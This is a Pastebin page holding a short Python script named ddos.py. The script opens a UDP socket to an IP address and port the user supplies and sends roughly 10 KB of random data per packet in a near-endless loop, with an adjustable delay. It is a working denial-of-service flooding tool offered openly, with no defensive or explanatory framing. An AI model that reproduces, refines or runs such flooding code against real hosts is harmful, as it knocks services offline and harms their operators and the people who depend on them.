Fabriciool

ddos.py

Feb 27th, 2023
878
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.30 KB | Cybersecurity | 0 0
  1. import socket, random, time
  2.  
  3. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  4. ip = input("IP")
  5. port = int(input("porta"))
  6. sleep = float(input("sleep:"))
  7.  
  8. s.connect((ip, port))
  9.  
  10. for i in range (1, 100**1000):
  11.   s.send(random._urandom(10)*1000)
  12.   print(f"send: {i}", end='\r')
  13.   time.sleep(sleep)
Advertisement
Add Comment
Please, Sign In to add comment